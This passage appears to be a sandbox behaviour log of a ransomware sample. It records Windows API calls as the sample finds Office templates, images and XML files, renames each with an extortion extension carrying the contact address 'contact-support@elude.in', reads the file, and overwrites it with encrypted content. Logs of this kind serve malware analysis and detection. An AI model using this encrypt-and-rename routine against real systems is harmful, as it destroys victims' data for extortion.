Office\\root\\Office16\\1033\\PUBSPAPR\\ZPDIR6B.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae49f22, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae49f22, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x384bd054, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x2b02, dwReserved0=0xa807496, dwReserved1=0x733b300, cFileName="ZPDIR6B.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="ZPDIR6~2.FIR")) returned 0x6d4f80 [0191.851] FindClose (in: hFindFile=0x6d4f80 | out: hFindFile=0x6d4f80) returned 1 [0191.851] Sleep (dwMilliseconds=0x1) [0192.961] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx", len=0x4e | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx") returned 1 [0192.961] GetProcessHeap () returned 0x630000 [0192.961] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x7133a90, Size=0x47dc) returned 0x7133a90 [0192.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0193.570] CloseHandle (hObject=0x6d8) returned 1 [0193.570] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0193.570] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0200.185] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0200.185] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xdf70, dwReserved0=0x330078, dwReserved1=0x6d, cFileName="ChronologicalLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHRONO~2.FIR")) returned 0x6d4e00 [0200.186] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0200.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\chronologicalletter.dotx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0200.186] GetProcessHeap () returned 0x630000 [0200.186] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f493c0 [0200.187] GetProcessHeap () returned 0x630000 [0200.187] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f547f0 [0200.187] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0200.187] ReadFile (in: hFile=0x6d8, lpBuffer=0x6f493c0, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f493c0*, lpNumberOfBytesRead=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.668] GetProcessHeap () returned 0x630000 [0208.668] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317608 [0208.668] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.668] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f547f0*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f547f0*, lpNumberOfBytesWritten=0x5afff0c*=0xb400, lpOverlapped=0x0) returned 1 [0208.668] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.668] WriteFile (in: hFile=0x6d8, lpBuffer=0x6f5fbef*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f5fbef*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0208.668] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0208.669] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0208.669] CloseHandle (hObject=0x6d8) returned 1 [0208.669] GetProcessHeap () returned 0x630000 [0208.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f547f0 | out: hHeap=0x630000) returned 1 [0208.669] GetProcessHeap () returned 0x630000 [0208.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f493c0 | out: hHeap=0x630000) returned 1 [0208.669] GetProcessHeap () returned 0x630000 [0208.669] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317608 | out: hHeap=0x630000) returned 1 [0208.669] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0208.669] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ChronologicalLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6c858b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6c858b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4253b326, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xdf94, dwReserved0=0xa807496, dwReserved1=0x6f493b8, cFileName="ChronologicalLetter.dotx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="CHRONO~2.FIR")) returned 0x6d4e00 [0208.669] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0208.669] Sleep (dwMilliseconds=0x1) [0210.622] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x5afff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG") returned 1 [0210.622] GetProcessHeap () returned 0x630000 [0210.622] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe4288, Size=0x4e04) returned 0x6fe4288 [0210.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0210.634] CloseHandle (hObject=0x704) returned 1 [0210.634] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0210.634] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0210.638] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0210.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c3a755, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x5534, dwReserved0=0xff00b748, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d52c0 [0210.639] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0210.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\sonora\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x704 [0210.639] GetProcessHeap () returned 0x630000 [0210.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5541) returned 0x73a7c30 [0210.639] GetProcessHeap () returned 0x630000 [0210.639] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x5541) returned 0x73ad180 [0210.639] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.639] ReadFile (in: hFile=0x704, lpBuffer=0x73a7c30, nNumberOfBytesToRead=0x5520, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a7c30*, lpNumberOfBytesRead=0x5afff0c*=0x5520, lpOverlapped=0x0) returned 1 [0214.355] GetProcessHeap () returned 0x630000 [0214.355] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317fe0 [0214.355] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.355] WriteFile (in: hFile=0x704, lpBuffer=0x73ad180*, nNumberOfBytesToWrite=0x5520, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73ad180*, lpNumberOfBytesWritten=0x5afff0c*=0x5520, lpOverlapped=0x0) returned 1 [0214.355] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.356] WriteFile (in: hFile=0x704, lpBuffer=0x73b269f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x73b269f*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0214.356] SetFilePointerEx (in: hFile=0x704, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0214.356] WriteFile (in: hFile=0x704, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0214.356] CloseHandle (hObject=0x704) returned 1 [0214.356] GetProcessHeap () returned 0x630000 [0214.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73ad180 | out: hHeap=0x630000) returned 1 [0214.356] GetProcessHeap () returned 0x630000 [0214.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a7c30 | out: hHeap=0x630000) returned 1 [0214.356] GetProcessHeap () returned 0x630000 [0214.356] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317fe0 | out: hHeap=0x630000) returned 1 [0214.356] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0214.356] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\SONORA\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27c3a755, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c3a755, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x45b786fa, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x5558, dwReserved0=0xa807496, dwReserved1=0x73a7c28, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5040 [0214.356] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0214.357] Sleep (dwMilliseconds=0x1) [0216.165] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml") returned 1 [0216.165] GetProcessHeap () returned 0x630000 [0216.165] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x74d7f88, Size=0x4fc8) returned 0x74d7f88 [0216.165] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0216.166] CloseHandle (hObject=0x678) returned 1 [0216.166] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0216.166] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0216.167] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.167] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5440 [0216.167] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0216.167] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\de-at\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x678 [0216.168] GetProcessHeap () returned 0x630000 [0216.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4470 [0216.168] GetProcessHeap () returned 0x630000 [0216.168] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f4298 [0216.168] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.168] ReadFile (in: hFile=0x678, lpBuffer=0x70f4470, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4470*, lpNumberOfBytesRead=0x5afff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0216.170] GetProcessHeap () returned 0x630000 [0216.170] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318be8 [0216.170] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.170] WriteFile (in: hFile=0x678, lpBuffer=0x70f4298*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4298*, lpNumberOfBytesWritten=0x5afff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0216.170] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.170] WriteFile (in: hFile=0x678, lpBuffer=0x70f4437*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f4437*, lpNumberOfBytesWritten=0x5afff0c*=0x20, lpOverlapped=0x0) returned 1 [0216.171] SetFilePointerEx (in: hFile=0x678, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.171] WriteFile (in: hFile=0x678, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5afff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5afff0c*=0x4, lpOverlapped=0x0) returned 1 [0216.171] CloseHandle (hObject=0x678) returned 1 [0216.171] GetProcessHeap () returned 0x630000 [0216.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4298 | out: hHeap=0x630000) returned 1 [0216.171] GetProcessHeap () returned 0x630000 [0216.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70f4470 | out: hHeap=0x630000) returned 1 [0216.171] GetProcessHeap () returned 0x630000 [0216.171] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318be8 | out: hHeap=0x630000) returned 1 [0216.171] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0216.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affcc4 | out: lpFindFileData=0x5affcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x46cc18a4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x5affd20, dwReserved1=0x70f4470, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d4e40 [0216.171] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0216.171] Sleep (dwMilliseconds=0x1) [0217.689] SysReAllocStringLen (in: pbstr=0x5afff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x5afff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml") returned 1 [0217.689] GetProcessHeap () returned 0x630000 [0217.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x50ac) returned 0x6fe3bb0 [0217.689] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.690] CloseHandle (hObject=0x6d4) returned 1 [0217.691] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0217.691] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0217.692] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5afef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0217.692] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5affc6c | out: lpFindFileData=0x5affc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4c78e2, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4c78e2, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5580 [0217.692] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0217.692] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-US\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\es-us\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0217.692] GetProcessHeap () returned 0x630000 [0217.693] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x70f3ee8 [0217.693] GetProcessHeap () 